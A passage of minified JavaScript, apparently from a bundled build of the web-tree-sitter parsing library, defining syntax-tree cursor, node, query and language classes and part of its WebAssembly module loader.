H=0;H<q;H++)z[H]=oP1(w),w+=iQA;_1._free(Y)}return z}getIncludedRanges(){_1._ts_tree_included_ranges_wasm(this[0]);let K=_1.getValue(Q7,"i32"),q=_1.getValue(Q7+JK,"i32"),Y=Array(K);if(K>0){let z=q;for(let w=0;w<K;w++)Y[w]=oP1(z),z+=iQA;_1._free(q)}return Y}},yM2=class A{static{V6(this,"TreeCursor")}[0]=0;[1]=0;[2]=0;[3]=0;tree;constructor(K,q){GMA(K),this.tree=q,Tv(this)}copy(){let K=new A(Ft,this.tree);return _1._ts_tree_cursor_copy_wasm(this.tree[0]),Tv(K),K}delete(){bw(this),_1._ts_tree_cursor_delete_wasm(this.tree[0]),this[0]=this[1]=this[2]=0}get currentNode(){return bw(this),_1._ts_tree_cursor_current_node_wasm(this.tree[0]),uJ(this.tree)}get currentFieldId(){return bw(this),_1._ts_tree_cursor_current_field_id_wasm(this.tree[0])}get currentFieldName(){return this.tree.language.fields[this.currentFieldId]}get currentDepth(){return bw(this),_1._ts_tree_cursor_current_depth_wasm(this.tree[0])}get currentDescendantIndex(){return bw(this),_1._ts_tree_cursor_current_descendant_index_wasm(this.tree[0])}get nodeType(){return this.tree.language.types[this.nodeTypeId]||"ERROR"}get nodeTypeId(){return bw(this),_1._ts_tree_cursor_current_node_type_id_wasm(this.tree[0])}get nodeStateId(){return bw(this),_1._ts_tree_cursor_current_node_state_id_wasm(this.tree[0])}get nodeId(){return bw(this),_1._ts_tree_cursor_current_node_id_wasm(this.tree[0])}get nodeIsNamed(){return bw(this),_1._ts_tree_cursor_current_node_is_named_wasm(this.tree[0])===1}get nodeIsMissing(){return bw(this),_1._ts_tree_cursor_current_node_is_missing_wasm(this.tree[0])===1}get nodeText(){bw(this);let K=_1._ts_tree_cursor_start_index_wasm(this.tree[0]),q=_1._ts_tree_cursor_end_index_wasm(this.tree[0]);_1._ts_tree_cursor_start_position_wasm(this.tree[0]);let Y=d3A(Q7);return FI6(this.tree,K,q,Y)}get startPosition(){return bw(this),_1._ts_tree_cursor_start_position_wasm(this.tree[0]),d3A(Q7)}get endPosition(){return bw(this),_1._ts_tree_cursor_end_position_wasm(this.tree[0]),d3A(Q7)}get startIndex(){return bw(this),_1._ts_tree_cursor_start_index_wasm(this.tree[0])}get endIndex(){return bw(this),_1._ts_tree_cursor_end_index_wasm(this.tree[0])}gotoFirstChild(){bw(this);let K=_1._ts_tree_cursor_goto_first_child_wasm(this.tree[0]);return Tv(this),K===1}gotoLastChild(){bw(this);let K=_1._ts_tree_cursor_goto_last_child_wasm(this.tree[0]);return Tv(this),K===1}gotoParent(){bw(this);let K=_1._ts_tree_cursor_goto_parent_wasm(this.tree[0]);return Tv(this),K===1}gotoNextSibling(){bw(this);let K=_1._ts_tree_cursor_goto_next_sibling_wasm(this.tree[0]);return Tv(this),K===1}gotoPreviousSibling(){bw(this);let K=_1._ts_tree_cursor_goto_previous_sibling_wasm(this.tree[0]);return Tv(this),K===1}gotoDescendant(K){bw(this),_1._ts_tree_cursor_goto_descendant_wasm(this.tree[0],K),Tv(this)}gotoFirstChildForIndex(K){bw(this),_1.setValue(Q7+uI6,K,"i32");let q=_1._ts_tree_cursor_goto_first_child_for_index_wasm(this.tree[0]);return Tv(this),q===1}gotoFirstChildForPosition(K){bw(this),ML(Q7+uI6,K);let q=_1._ts_tree_cursor_goto_first_child_for_position_wasm(this.tree[0]);return Tv(this),q===1}reset(K){n5(K),bw(this,Q7+af),_1._ts_tree_cursor_reset_wasm(this.tree[0]),Tv(this)}resetTo(K){bw(this,Q7),bw(K,Q7+uI6),_1._ts_tree_cursor_reset_to_wasm(this.tree[0],K.tree[0]),Tv(this)}},IM2=class{static{V6(this,"Node")}[0]=0;_children;_namedChildren;constructor(A,{id:K,tree:q,startIndex:Y,startPosition:z,other:w}){GMA(A),this[0]=w,this.id=K,this.tree=q,this.startIndex=Y,this.startPosition=z}id;startIndex;startPosition;tree;get typeId(){return n5(this),_1._ts_node_symbol_wasm(this.tree[0])}get grammarId(){return n5(this),_1._ts_node_grammar_symbol_wasm(this.tree[0])}get type(){return this.tree.language.types[this.typeId]||"ERROR"}get grammarType(){return this.tree.language.types[this.grammarId]||"ERROR"}get isNamed(){return n5(this),_1._ts_node_is_named_wasm(this.tree[0])===1}get isExtra(){return n5(this),_1._ts_node_is_extra_wasm(this.tree[0])===1}get isError(){return n5(this),_1._ts_node_is_error_wasm(this.tree[0])===1}get isMissing(){return n5(this),_1._ts_node_is_missing_wasm(this.tree[0])===1}get hasChanges(){return n5(this),_1._ts_node_has_changes_wasm(this.tree[0])===1}get hasError(){return n5(this),_1._ts_node_has_error_wasm(this.tree[0])===1}get endIndex(){return n5(this),_1._ts_node_end_index_wasm(this.tree[0])}get endPosition(){return n5(this),_1._ts_node_end_point_wasm(this.tree[0]),d3A(Q7)}get text(){return FI6(this.tree,this.startIndex,this.endIndex,this.startPosition)}get parseState(){return n5(this),_1._ts_node_parse_state_wasm(this.tree[0])}get nextParseState(){return n5(this),_1._ts_node_next_parse_state_wasm(this.tree[0])}equals(A){return this.tree===A.tree&&this.id===A.id}child(A){return n5(this),_1._ts_node_child_wasm(this.tree[0],A),uJ(this.tree)}namedChild(A){return n5(this),_1._ts_node_named_child_wasm(this.tree[0],A),uJ(this.tree)}childForFieldId(A){return n5(this),_1._ts_node_child_by_field_id_wasm(this.tree[0],A),uJ(this.tree)}childForFieldName(A){let K=this.tree.language.fields.indexOf(A);if(K!==-1)return this.childForFieldId(K);return null}fieldNameForChild(A){n5(this);let K=_1._ts_node_field_name_for_child_wasm(this.tree[0],A);if(!K)return null;return _1.AsciiToString(K)}fieldNameForNamedChild(A){n5(this);let K=_1._ts_node_field_name_for_named_child_wasm(this.tree[0],A);if(!K)return null;return _1.AsciiToString(K)}childrenForFieldName(A){let K=this.tree.language.fields.indexOf(A);if(K!==-1&&K!==0)return this.childrenForFieldId(K);return[]}childrenForFieldId(A){n5(this),_1._ts_node_children_by_field_id_wasm(this.tree[0],A);let K=_1.getValue(Q7,"i32"),q=_1.getValue(Q7+JK,"i32"),Y=Array(K);if(K>0){let z=q;for(let w=0;w<K;w++)Y[w]=uJ(this.tree,z),z+=af;_1._free(q)}return Y}firstChildForIndex(A){n5(this);let K=Q7+af;return _1.setValue(K,A,"i32"),_1._ts_node_first_child_for_byte_wasm(this.tree[0]),uJ(this.tree)}firstNamedChildForIndex(A){n5(this);let K=Q7+af;return _1.setValue(K,A,"i32"),_1._ts_node_first_named_child_for_byte_wasm(this.tree[0]),uJ(this.tree)}get childCount(){return n5(this),_1._ts_node_child_count_wasm(this.tree[0])}get namedChildCount(){return n5(this),_1._ts_node_named_child_count_wasm(this.tree[0])}get firstChild(){return this.child(0)}get firstNamedChild(){return this.namedChild(0)}get lastChild(){return this.child(this.childCount-1)}get lastNamedChild(){return this.namedChild(this.namedChildCount-1)}get children(){if(!this._children){n5(this),_1._ts_node_children_wasm(this.tree[0]);let A=_1.getValue(Q7,"i32"),K=_1.getValue(Q7+JK,"i32");if(this._children=Array(A),A>0){let q=K;for(let Y=0;Y<A;Y++)this._children[Y]=uJ(this.tree,q),q+=af;_1._free(K)}}return this._children}get namedChildren(){if(!this._namedChildren){n5(this),_1._ts_node_named_children_wasm(this.tree[0]);let A=_1.getValue(Q7,"i32"),K=_1.getValue(Q7+JK,"i32");if(this._namedChildren=Array(A),A>0){let q=K;for(let Y=0;Y<A;Y++)this._namedChildren[Y]=uJ(this.tree,q),q+=af;_1._free(K)}}return this._namedChildren}descendantsOfType(A,K=gt,q=gt){if(!Array.isArray(A))A=[A];let Y=[],z=this.tree.language.types;for(let X of A)if(X=="ERROR")Y.push(65535);for(let X=0,$=z.length;X<$;X++)if(A.includes(z[X]))Y.push(X);let w=_1._malloc(JK*Y.length);for(let X=0,$=Y.length;X<$;X++)_1.setValue(w+X*JK,Y[X],"i32");n5(this),_1._ts_node_descendants_of_type_wasm(this.tree[0],w,Y.length,K.row,K.column,q.row,q.column);let H=_1.getValue(Q7,"i32"),J=_1.getValue(Q7+JK,"i32"),O=Array(H);if(H>0){let X=J;for(let $=0;$<H;$++)O[$]=uJ(this.tree,X),X+=af}return _1._free(J),_1._free(w),O}get nextSibling(){return n5(this),_1._ts_node_next_sibling_wasm(this.tree[0]),uJ(this.tree)}get previousSibling(){return n5(this),_1._ts_node_prev_sibling_wasm(this.tree[0]),uJ(this.tree)}get nextNamedSibling(){return n5(this),_1._ts_node_next_named_sibling_wasm(this.tree[0]),uJ(this.tree)}get previousNamedSibling(){return n5(this),_1._ts_node_prev_named_sibling_wasm(this.tree[0]),uJ(this.tree)}get descendantCount(){return n5(this),_1._ts_node_descendant_count_wasm(this.tree[0])}get parent(){return n5(this),_1._ts_node_parent_wasm(this.tree[0]),uJ(this.tree)}childWithDescendant(A){return n5(this),n5(A,1),_1._ts_node_child_with_descendant_wasm(this.tree[0]),uJ(this.tree)}descendantForIndex(A,K=A){if(typeof A!=="number"||typeof K!=="number")throw Error("Arguments must be numbers");n5(this);let q=Q7+af;return _1.setValue(q,A,"i32"),_1.setValue(q+JK,K,"i32"),_1._ts_node_descendant_for_index_wasm(this.tree[0]),uJ(this.tree)}namedDescendantForIndex(A,K=A){if(typeof A!=="number"||typeof K!=="number")throw Error("Arguments must be numbers");n5(this);let q=Q7+af;return _1.setValue(q,A,"i32"),_1.setValue(q+JK,K,"i32"),_1._ts_node_named_descendant_for_index_wasm(this.tree[0]),uJ(this.tree)}descendantForPosition(A,K=A){if(!lQA(A)||!lQA(K))throw Error("Arguments must be {row, column} objects");n5(this);let q=Q7+af;return ML(q,A),ML(q+Hm,K),_1._ts_node_descendant_for_position_wasm(this.tree[0]),uJ(this.tree)}namedDescendantForPosition(A,K=A){if(!lQA(A)||!lQA(K))throw Error("Arguments must be {row, column} objects");n5(this);let q=Q7+af;return ML(q,A),ML(q+Hm,K),_1._ts_node_named_descendant_for_position_wasm(this.tree[0]),uJ(this.tree)}walk(){return n5(this),_1._ts_tree_cursor_new_wasm(this.tree[0]),new yM2(Ft,this.tree)}edit(A){if(this.startIndex>=A.oldEndIndex){this.startIndex=A.newEndIndex+(this.startIndex-A.oldEndIndex);let K,q;if(this.startPosition.row>A.oldEndPosition.row)K=this.startPosition.row-A.oldEndPosition.row,q=this.startPosition.column;else if(K=0,q=this.startPosition.column,this.startPosition.column>=A.oldEndPosition.column)q=this.startPosition.column-A.oldEndPosition.column;if(K>0)this.startPosition.row+=K,this.startPosition.column=q;else this.startPosition.column+=q}else if(this.startIndex>A.startIndex)this.startIndex=A.newEndIndex,this.startPosition.row=A.newEndPosition.row,this.startPosition.column=A.newEndPosition.column}toString(){n5(this);let A=_1._ts_node_to_string_wasm(this.tree[0]),K=_1.AsciiToString(A);return _1._free(A),K}};V6(gI6,"unmarshalCaptures");V6(n5,"marshalNode");V6(uJ,"unmarshalNode");V6(bw,"marshalTreeCursor");V6(Tv,"unmarshalTreeCursor");V6(ML,"marshalPoint");V6(d3A,"unmarshalPoint");V6(IKK,"marshalRange");V6(oP1,"unmarshalRange");V6(SKK,"marshalEdit");V6(hKK,"unmarshalLanguageMetadata");bM2=/[\w-]+/g,DlH={Zero:0,ZeroOrOne:1,ZeroOrMore:2,One:3,OneOrMore:4},RKK=V6((A)=>A.type==="capture","isCaptureStep"),QI6=V6((A)=>A.type==="string","isStringStep"),BS={Syntax:1,NodeName:2,FieldName:3,CaptureName:4,PatternStructure:5},cQA=class A extends Error{constructor(K,q,Y,z){super(A.formatMessage(K,q));this.kind=K,this.info=q,this.index=Y,this.length=z,this.name="QueryError"}static{V6(this,"QueryError")}static formatMessage(K,q){switch(K){case BS.NodeName:return`Bad node name '${q.word}'`;case BS.FieldName:return`Bad field name '${q.word}'`;case BS.CaptureName:return`Bad capture name @${q.word}`;case BS.PatternStructure:return`Bad pattern structure at offset ${q.suffix}`;case BS.Syntax:return`Bad syntax at offset ${q.suffix}`}}};V6(bKK,"parseAnyPredicate");V6(xKK,"parseMatchPredicate");V6(uKK,"parseAnyOfPredicate");V6(BKK,"parseIsPredicate");V6(mKK,"parseSetDirective");V6(gKK,"parsePattern");xM2=class{static{V6(this,"Query")}[0]=0;exceededMatchLimit;textPredicates;captureNames;captureQuantifiers;predicates;setProperties;assertedProperties;refutedProperties;matchLimit;constructor(A,K){let q=_1.lengthBytesUTF8(K),Y=_1._malloc(q+1);_1.stringToUTF8(K,Y,q+1);let z=_1._ts_query_new(A[0],Y,q,Q7,Q7+JK);if(!z){let j=_1.getValue(Q7+JK,"i32"),M=_1.getValue(Q7,"i32"),P=_1.UTF8ToString(Y,M).length,f=K.slice(P,P+100).split(` `)[0],N=f.match(bM2)?.[0]??"";switch(_1._free(Y),j){case BS.Syntax:throw new cQA(BS.Syntax,{suffix:`${P}: '${f}'...`},P,0);case BS.NodeName:throw new cQA(j,{word:N},P,N.length);case BS.FieldName:throw new cQA(j,{word:N},P,N.length);case BS.CaptureName:throw new cQA(j,{word:N},P,N.length);case BS.PatternStructure:throw new cQA(j,{suffix:`${P}: '${f}'...`},P,0)}}let w=_1._ts_query_string_count(z),H=_1._ts_query_capture_count(z),J=_1._ts_query_pattern_count(z),O=Array(H),X=Array(J),$=Array(w);for(let j=0;j<H;j++){let M=_1._ts_query_capture_name_for_id(z,j,Q7),P=_1.getValue(Q7,"i32");O[j]=_1.UTF8ToString(M,P)}for(let j=0;j<J;j++){let M=Array(H);for(let P=0;P<H;P++){let f=_1._ts_query_capture_quantifier_for_id(z,j,P);M[P]=f}X[j]=M}for(let j=0;j<w;j++){let M=_1._ts_query_string_value_for_id(z,j,Q7),P=_1.getValue(Q7,"i32");$[j]=_1.UTF8ToString(M,P)}let _=Array(J),G=Array(J),Z=Array(J),W=Array(J),D=Array(J);for(let j=0;j<J;j++){let M=_1._ts_query_predicates_for_pattern(z,j,Q7),P=_1.getValue(Q7,"i32");W[j]=[],D[j]=[];let f=[],N=M;for(let T=0;T<P;T++){let C=_1.getValue(N,"i32");N+=JK;let R=_1.getValue(N,"i32");N+=JK,gKK(j,C,R,O,$,f,D,W,_,G,Z)}Object.freeze(D[j]),Object.freeze(W[j]),Object.freeze(_[j]),Object.freeze(G[j]),Object.freeze(Z[j])}_1._free(Y),this[0]=z,this.captureNames=O,this.captureQuantifiers=X,this.textPredicates=D,this.predicates=W,this.setProperties=_,this.assertedProperties=G,this.refutedProperties=Z,this.exceededMatchLimit=!1}delete(){_1._ts_query_delete(this[0]),this[0]=0}matches(A,K={}){let q=K.startPosition??gt,Y=K.endPosition??gt,z=K.startIndex??0,w=K.endIndex??0,H=K.matchLimit??4294967295,J=K.maxStartDepth??4294967295,O=K.timeoutMicros??0,X=K.progressCallback;if(typeof H!=="number")throw Error("Arguments must be numbers");if(this.matchLimit=H,w!==0&&z>w)throw Error("`startIndex` cannot be greater than `endIndex`");if(Y!==gt&&(q.row>Y.row||q.row===Y.row&&q.column>Y.column))throw Error("`startPosition` cannot be greater than `endPosition`");if(X)_1.currentQueryProgressCallback=X;n5(A),_1._ts_query_matches_wasm(this[0],A.tree[0],q.row,q.column,Y.row,Y.column,z,w,H,J,O);let $=_1.getValue(Q7,"i32"),_=_1.getValue(Q7+JK,"i32"),G=_1.getValue(Q7+2*JK,"i32"),Z=Array($);this.exceededMatchLimit=Boolean(G);let W=0,D=_;for(let j=0;j<$;j++){let M=_1.getValue(D,"i32");D+=JK;let P=_1.getValue(D,"i32");D+=JK;let f=Array(P);if(D=gI6(this,A.tree,D,M,f),this.textPredicates[M].every((N)=>N(f))){Z[W]={pattern:M,patternIndex:M,captures:f};let N=this.setProperties[M];Z[W].setProperties=N;let T=this.assertedProperties[M];Z[W].assertedProperties=T;let C=this.refutedProperties[M];Z[W].refutedProperties=C,W++}}return Z.length=W,_1._free(_),_1.currentQueryProgressCallback=null,Z}captures(A,K={}){let q=K.startPosition??gt,Y=K.endPosition??gt,z=K.startIndex??0,w=K.endIndex??0,H=K.matchLimit??4294967295,J=K.maxStartDepth??4294967295,O=K.timeoutMicros??0,X=K.progressCallback;if(typeof H!=="number")throw Error("Arguments must be numbers");if(this.matchLimit=H,w!==0&&z>w)throw Error("`startIndex` cannot be greater than `endIndex`");if(Y!==gt&&(q.row>Y.row||q.row===Y.row&&q.column>Y.column))throw Error("`startPosition` cannot be greater than `endPosition`");if(X)_1.currentQueryProgressCallback=X;n5(A),_1._ts_query_captures_wasm(this[0],A.tree[0],q.row,q.column,Y.row,Y.column,z,w,H,J,O);let $=_1.getValue(Q7,"i32"),_=_1.getValue(Q7+JK,"i32"),G=_1.getValue(Q7+2*JK,"i32"),Z=[];this.exceededMatchLimit=Boolean(G);let W=[],D=_;for(let j=0;j<$;j++){let M=_1.getValue(D,"i32");D+=JK;let P=_1.getValue(D,"i32");D+=JK;let f=_1.getValue(D,"i32");if(D+=JK,W.length=P,D=gI6(this,A.tree,D,M,W),this.textPredicates[M].every((N)=>N(W))){let N=W[f],T=this.setProperties[M];N.setProperties=T;let C=this.assertedProperties[M];N.assertedProperties=C;let R=this.refutedProperties[M];N.refutedProperties=R,Z.push(N)}}return _1._free(_),_1.currentQueryProgressCallback=null,Z}predicatesForPattern(A){return this.predicates[A]}disableCapture(A){let K=_1.lengthBytesUTF8(A),q=_1._malloc(K+1);_1.stringToUTF8(A,q,K+1),_1._ts_query_disable_capture(this[0],q,K),_1._free(q)}disablePattern(A){if(A>=this.predicates.length)throw Error(`Pattern index is ${A} but the pattern count is ${this.predicates.length}`);_1._ts_query_disable_pattern(this[0],A)}didExceedMatchLimit(){return this.exceededMatchLimit}startIndexForPattern(A){if(A>=this.predicates.length)throw Error(`Pattern index is ${A} but the pattern count is ${this.predicates.length}`);return _1._ts_query_start_byte_for_pattern(this[0],A)}endIndexForPattern(A){if(A>=this.predicates.length)throw Error(`Pattern index is ${A} but the pattern count is ${this.predicates.length}`);return _1._ts_query_end_byte_for_pattern(this[0],A)}patternCount(){return _1._ts_query_pattern_count(this[0])}captureIndexForName(A){return this.captureNames.indexOf(A)}isPatternRooted(A){return _1._ts_query_is_pattern_rooted(this[0],A)===1}isPatternNonLocal(A){return _1._ts_query_is_pattern_non_local(this[0],A)===1}isPatternGuaranteedAtStep(A){return _1._ts_query_is_pattern_guaranteed_at_step(this[0],A)===1}},uM2=/^tree_sitter_\w+$/,aP1=class A{static{V6(this,"Language")}[0]=0;types;fields;constructor(K,q){GMA(K),this[0]=q,this.types=Array(_1._ts_language_symbol_count(this[0]));for(let Y=0,z=this.types.length;Y<z;Y++)if(_1._ts_language_symbol_type(this[0],Y)<2)this.types[Y]=_1.UTF8ToString(_1._ts_language_symbol_name(this[0],Y));this.fields=Array(_1._ts_language_field_count(this[0])+1);for(let Y=0,z=this.fields.length;Y<z;Y++){let w=_1._ts_language_field_name_for_id(this[0],Y);if(w!==0)this.fields[Y]=_1.UTF8ToString(w);else this.fields[Y]=null}}get name(){let K=_1._ts_language_name(this[0]);if(K===0)return null;return _1.UTF8ToString(K)}get version(){return _1._ts_language_version(this[0])}get abiVersion(){return _1._ts_language_abi_version(this[0])}get metadata(){_1._ts_language_metadata(this[0]);let K=_1.getValue(Q7,"i32"),q=_1.getValue(Q7+JK,"i32");if(K===0)return null;return hKK(q)}get fieldCount(){return this.fields.length-1}get stateCount(){return _1._ts_language_state_count(this[0])}fieldIdForName(K){let q=this.fields.indexOf(K);return q!==-1?q:null}fieldNameForId(K){return this.fields[K]??null}idForNodeType(K,q){let Y=_1.lengthBytesUTF8(K),z=_1._malloc(Y+1);_1.stringToUTF8(K,z,Y+1);let w=_1._ts_language_symbol_for_name(this[0],z,Y,q?1:0);return _1._free(z),w||null}get nodeTypeCount(){return _1._ts_language_symbol_count(this[0])}nodeTypeForId(K){let q=_1._ts_language_symbol_name(this[0],K);return q?_1.UTF8ToString(q):null}nodeTypeIsNamed(K){return _1._ts_language_type_is_named_wasm(this[0],K)?!0:!1}nodeTypeIsVisible(K){return _1._ts_language_type_is_visible_wasm(this[0],K)?!0:!1}get supertypes(){_1._ts_language_supertypes_wasm(this[0]);let K=_1.getValue(Q7,"i32"),q=_1.getValue(Q7+JK,"i32"),Y=Array(K);if(K>0){let z=q;for(let w=0;w<K;w++)Y[w]=_1.getValue(z,"i16"),z+=LKK}return Y}subtypes(K){_1._ts_language_subtypes_wasm(this[0],K);let q=_1.getValue(Q7,"i32"),Y=_1.getValue(Q7+JK,"i32"),z=Array(q);if(q>0){let w=Y;for(let H=0;H<q;H++)z[H]=_1.getValue(w,"i16"),w+=LKK}return z}nextState(K,q){return _1._ts_language_next_state(this[0],K,q)}lookaheadIterator(K){let q=_1._ts_lookahead_iterator_new(this[0],K);if(q)return new LM2(Ft,q,this);return null}query(K){return console.warn("Language.query is deprecated. Use new Query(language, source) instead."),new xM2(this,K)}static async load(K){let q;if(K instanceof Uint8Array)q=Promise.resolve(K);else if(globalThis.process?.versions.node)q=(await import("fs/promises")).readFile(K);else q=fetch(K).then((J)=>J.arrayBuffer().then((O)=>{if(J.ok)return new Uint8Array(O);else{let X=new TextDecoder("utf-8").decode(O);throw Error(`Language.load failed with status ${J.status}. ${X}`)}}));let Y=await _1.loadWebAssemblyModule(await q,{loadAsync:!0}),z=Object.keys(Y),w=z.find((J)=>uM2.test(J)&&!J.includes("external_scanner_"));if(!w)throw console.log(`Couldn't find language function in WASM file. Symbols: ${JSON.stringify(z,null,2)}`),Error("Language.load failed: no language function found in WASM file");let H=Y[w]();return new A(Ft,H)}},BM2=(()=>{var _scriptName=import.meta.url;return async function(moduleArg={}){var moduleRtn,Module=moduleArg,readyPromiseResolve,readyPromiseReject,readyPromise=new Promise((A,K)=>{readyPromiseResolve=A,readyPromiseReject=K}),ENVIRONMENT_IS_WEB=typeof window=="object",ENVIRONMENT_IS_WORKER=typeof WorkerGlobalScope<"u",ENVIRONMENT_IS_NODE=typeof process=="object"&&typeof process.versions=="object"&&typeof process.versions.node=="string"&&process.type!="renderer",ENVIRONMENT_IS_SHELL=!ENVIRONMENT_IS_WEB&&!ENVIRONMENT_IS_NODE&&!ENVIRONMENT_IS_WORKER;if(ENVIRONMENT_IS_NODE){let{createRequire:A}=await import("module");var require=A(import.meta.url)}Module.currentQueryProgressCallback=null,Module.currentProgressCallback=null,Module.currentLogCallback=null,Module.currentParseCallback=null;var moduleOverrides=Object.assign({},Module),arguments_=[],thisProgram="./this.program",quit_=V6((A,K)=>{throw K},"quit_"),scriptDirectory="";function locateFile(A){if(Module.locateFile)return Module.locateFile(A,scriptDirectory);return scriptDirectory+A}V6(locateFile,"locateFile");var readAsync,readBinary;if(ENVIRONMENT_IS_NODE){var fs=require("fs"),nodePath=require("path");if(!import.meta.url.startsWith("data:"))scriptDirectory=nodePath.dirname(require("url").fileURLToPath(import.meta.url))+"/";if(readBinary=V6((A)=>{A=isFileURI(A)?new URL(A):A;var K=fs.readFileSync(A);return K},"readBinary"),readAsync=V6(async(A,K=!0)=>{A=isFileURI(A)?new URL(A):A;var q=fs.readFileSync(A,K?void 0:"utf8");return q},"readAsync"),!Module.thisProgram&&process.argv.length>1)thisProgram=process.argv[1].replace(/\\/g,"/");arguments_=process.argv.slice(2),quit_=V6((A,K)=>{throw process.exitCode=A,K},"quit_")}else if(ENVIRONMENT_IS_WEB||ENVIRONMENT_IS_WORKER){if(ENVIRONMENT_IS_WORKER)scriptDirectory=self.location.href;else if(typeof document<"u"&&document.currentScript)scriptDirectory=document.currentScript.src;if(_scriptName)scriptDirectory=_scriptName;if(scriptDirectory.startsWith("blob:"))scriptDirectory="";else scriptDirectory=scriptDirectory.slice(0,scriptDirectory.replace(/[?#].*/,"").lastIndexOf("/")+1);{if(ENVIRONMENT_IS_WORKER)readBinary=V6((A)=>{var K=new XMLHttpRequest;return K.open("GET",A,!1),K.responseType="arraybuffer",K.send(null),new Uint8Array(K.response)},"readBinary");readAsync=V6(async(A)=>{if(isFileURI(A))return new Promise((q,Y)=>{var z=new XMLHttpRequest;z.open("GET",A,!0),z.responseType="arraybuffer",z.onload=()=>{if(z.status==200||z.status==0&&z.response){q(z.response);return}Y(z.status)},z.onerror=Y,z.send(null)});var K=await fetch(A,{credentials:"same-origin"});if(K.ok)return K.arrayBuffer();throw Error(K.status+" : "+K.url)},"readAsync")}}var out=Module.print||console.log.bind(console),err=Module.printErr||console.error.bind(console);if(Object.assign(Module,moduleOverrides),moduleOverrides=null,Module.arguments)arguments_=Module.arguments;if(Module.thisProgram)thisProgram=Module.thisProgram;var dynamicLibraries=Module.dynamicLibraries||[],wasmBinary=Module.wasmBinary,wasmMemory,ABORT=!1,EXITSTATUS;function assert(A,K){if(!A)abort(K)}V6(assert,"assert");var HEAP,HEAP8,HEAPU8,HEAP16,HEAPU16,HEAP32,HEAPU32,HEAPF32,HEAP64,HEAPU64,HEAPF64,HEAP_DATA_VIEW,runtimeInitialized=!1,isFileURI=V6((A)=>A.startsWith("file://"),"isFileURI");function updateMemoryViews(){var A=wasmMemory.buffer;Module.HEAP_DATA_VIEW=HEAP_DATA_VIEW=new DataView(A),Module.HEAP8=HEAP8=new Int8Array(A),Module.HEAP16=HEAP16=new Int16Array(A),Module.HEAPU8=HEAPU8=new Uint8Array(A),Module.HEAPU16=HEAPU16=new Uint16Array(A),Module.HEAP32=HEAP32=new Int32Array(A),Module.HEAPU32=HEAPU32=new Uint32Array(A),Module.HEAPF32=HEAPF32=new Float32Array(A),Module.HEAPF64=HEAPF64=new Float64Array(A),Module.HEAP64=HEAP64=new BigInt64Array(A),Module.HEAPU64=HEAPU64=new BigUint64Array(A)}if(V6(updateMemoryViews,"updateMemoryViews"),Module.wasmMemory)wasmMemory=Module.wasmMemory;else{var INITIAL_MEMORY=Module.INITIAL_MEMORY||33554432;wasmMemory=new WebAssembly.Memory({initial:INITIAL_MEMORY/65536,maximum:32768})}updateMemoryViews();var __RELOC_FUNCS__=[];function preRun(){if(Module.preRun){if(typeof Module.preRun=="function")Module.preRun=[Module.preRun];while(Module.preRun.length)addOnPreRun(Module.preRun.shift())}callRuntimeCallbacks(onPreRuns)}V6(preRun,"preRun");function initRuntime(){runtimeInitialized=!0,callRuntimeCallbacks(__RELOC_FUNCS__),wasmExports.__wasm_call_ctors(),callRuntimeCallbacks(onPostCtors)}V6(initRuntime,"initRuntime");function preMain(){}V6(preMain,"preMain");function postRun(){if(Module.postRun){if(typeof Module.postRun=="function")Module.postRun=[Module.postRun];while(Module.postRun.length)addOnPostRun(Module.postRun.shift())}callRuntimeCallbacks(onPostRuns)}V6(postRun,"postRun");var runDependencies=0,dependenciesFulfilled=null;function getUniqueRunDependency(A){return A}V6(getUniqueRunDependency,"getUniqueRunDependency");function addRunDependency(A){runDependencies++,Module.monitorRunDependencies?.(runDependencies)}V6(addRunDependency,"addRunDependency");function removeRunDependency(A){if(runDependencies--,Module.monitorRunDependencies?.(runDependencies),runDependencies==0){if(dependenciesFulfilled){var K=dependenciesFulfilled;dependenciesFulfilled=null,K()}}}V6(removeRunDependency,"removeRunDependency");function abort(A){Module.onAbort?.(A),A="Aborted("+A+")",err(A),ABORT=!0,A+=". Build with -sASSERTIONS for more info.";var K=new WebAssembly.RuntimeError(A);throw readyPromiseReject(K),K}V6(abort,"abort");var wasmBinaryFile;function findWasmBinary(){if(Module.locateFile)return locateFile("tree-sitter.wasm");return new URL("tree-sitter.wasm",import.meta.url).href}V6(findWasmBinary,"findWasmBinary");function getBinarySync(A){if(A==wasmBinaryFile&&wasmBinary)return new Uint8Array(wasmBinary);if(readBinary)return readBinary(A);throw"both async and sync fetching of the wasm failed"}V6(getBinarySync,"getBinarySync");async function getWasmBinary(A){if(!wasmBinary)try{var K=await readAsync(A);return new Uint8Array(K)}catch{}return getBinarySync(A)}V6(getWasmBinary,"getWasmBinary");async function instantiateArrayBuffer(A,K){try{var q=await getWasmBinary(A),Y=await WebAssembly.instantiate(q,K);return Y}catch(z){err(`failed to asynchronously prepare wasm: ${z}`),abort(z)}}V6(instantiateArrayBuffer,"instantiateArrayBuffer");async function instantiateAsync(A,K,q){if(!A&&typeof WebAssembly.instantiateStreaming=="function"&&!isFileURI(K)&&!ENVIRONMENT_IS_NODE)try{var Y=fetch(K,{credentials:"same-origin"}),z=await WebAssembly.instantiateStreaming(Y,q);return z}catch(w){err(`wasm streaming compile failed: ${w}`),err("falling back to ArrayBuffer instantiation")}return instantiateArrayBuffer(K,q)}V6(instantiateAsync,"instantiateAsync");function getWasmImports(){return{env:wasmImports,wasi_snapshot_preview1:wasmImports,"GOT.mem":new Proxy(wasmImports,GOTHandler),"GOT.func":new Proxy(wasmImports,GOTHandler)}}V6(getWasmImports,"getWasmImports");async function createWasm(){function A(w,H){wasmExports=w.exports,wasmExports=relocateExports(wasmExports,1024);var J=getDylinkMetadata(H);if(J.neededDynlibs)dynamicLibraries=J.neededDynlibs.concat(dynamicLibraries);return mergeLibSymbols(wasmExports,"main"),LDSO.init(),loadDylibs(),__RELOC_FUNCS__.push(wasmExports.__wasm_apply_data_relocs),removeRunDependency("wasm-instantiate"),wasmExports}V6(A,"receiveInstance"),addRunDependency("wasm-instantiate");function K(w){return A(w.instance,w.module)}V6(K,"receiveInstantiationResult");var q=getWasmImports();if(Module.instantiateWasm)return new Promise((w,H)=>{Module.instantiateWasm(q,(J,O)=>{A(J,O),w(J.exports)})});wasmBinaryFile??=findWasmBinary();try{var Y=await instantiateAsync(wasmBinary,wasmBinaryFile,q),z=K(Y);return z}catch(w){return readyPromiseReject(w),Promise.reject(w)}}V6(createWasm,"createWasm");var ASM_CONSTS={};class ExitStatus{static{V6(this,"ExitStatus")}name="ExitStatus";constructor(A){this.message=`Program terminated with exit(${A})`,this.status=A}}var GOT={},currentModuleWeakSymbols=new Set([]),GOTHandler={get(A,K){var 